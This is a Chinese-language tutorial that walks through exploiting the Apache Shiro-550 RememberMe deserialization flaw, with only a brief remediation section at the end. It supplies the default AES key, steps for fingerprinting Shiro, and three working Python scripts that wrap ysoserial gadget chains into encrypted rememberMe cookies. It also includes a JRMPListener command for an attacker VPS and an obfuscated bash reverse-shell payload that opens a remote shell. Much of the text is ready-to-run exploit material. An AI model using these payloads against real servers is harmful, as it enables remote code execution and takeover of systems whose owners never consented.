Shiro-550 漏洞保姆级复现教学
前言
Apache Shiro
是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro
框架直观、易用,同时也能提供健壮的安全性。
Apache Shiro <= 1.2.4
(需要获取AES秘钥)
漏洞原理
Apache Shiro
框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
Shiro记住用户会话功能的逻辑为:
获取RememberMe的值 —> Base64解密 —> ASE解密 –> 反序列化
在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie
的值
2、Base64
解码
3、使用AES
解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。
漏洞复现
Shiro <= 1.2.4 默认密钥:kPH+bIxk5D2deZiIxcaaaA==
注意:在Shiro1.4.2
版本后,Shiro的加密模式由AES-CBC
更换为 AES-GCM
,Shiro高版本下的漏洞利用,就需要考虑加密模式变化的情况。
复现过程
整个复现过程如下:
1、确定shiro框架
2、爆破密钥KEY,或者使用默认密钥尝试
3、爆破利用链
4、反弹获取权限
Shiro漏洞判断
rememberMe:可以在 cookie 追加一个 rememberMe=xx
的字段,这个字段是rememberMeManager默认的,然后看响应头部可以看看是否有 Set-Cookie: rememberMe=deleteMe
; 的字段则可判断使⽤了shiro框架。
案例特征:
- 未登录情况下
- 请求包中 Cookie 中存在 rememberMe字段,但返回包里无
deleteMe
字段 - 构造Cookie:
rememberMe=yes
,返回包存在rememberMe=deleteMe
爆破密钥
使用工具脚本验证是否存在默认KEY
怎么确定KEY正确?
看响应包特征
- 不正确的KEY,响应包:rememberMe=deleteMe
- 正确KEY,响应包返回cookie值
生成利用链
这个利用链需要结合 ysoserial-0.0.6-SNAPSHOT-all.jar
工具生成,具体哪个利用链能用需要都试一遍,一般都是通过爆破的方法来确定市面上工具挺多的,我这里就手工演示。
先打一个URLdns链子
#encoding=utf-8
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #这里替换密钥
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
生成利用链
发送
成功
再试一下 CommonsCollections2 链,打个dnslog试试
生成利用链
#encoding=utf-8
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #这里替换密钥
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
VPS起一下监听
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsCollections2 "ping xxxx"
发送payload,利用成功,说明这个链子可以用
构造反弹shell的利用链
#encoding=utf-8
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections2',"bash -c {echo,xxxxxxx}|{base64,-d}|{bash,-i}"], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #这里替换密钥
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
生成反弹shell的payload
VPS 监听端口
发送payload
获取shell权限
修复建议
Apache Shiro 1.2.5
以下版本,建议抓紧升级shiro
的版本,另一个修复建议就是将默认Key加密改为生成随机的Key加密。
工具获取关注公众号回复 “shiro550”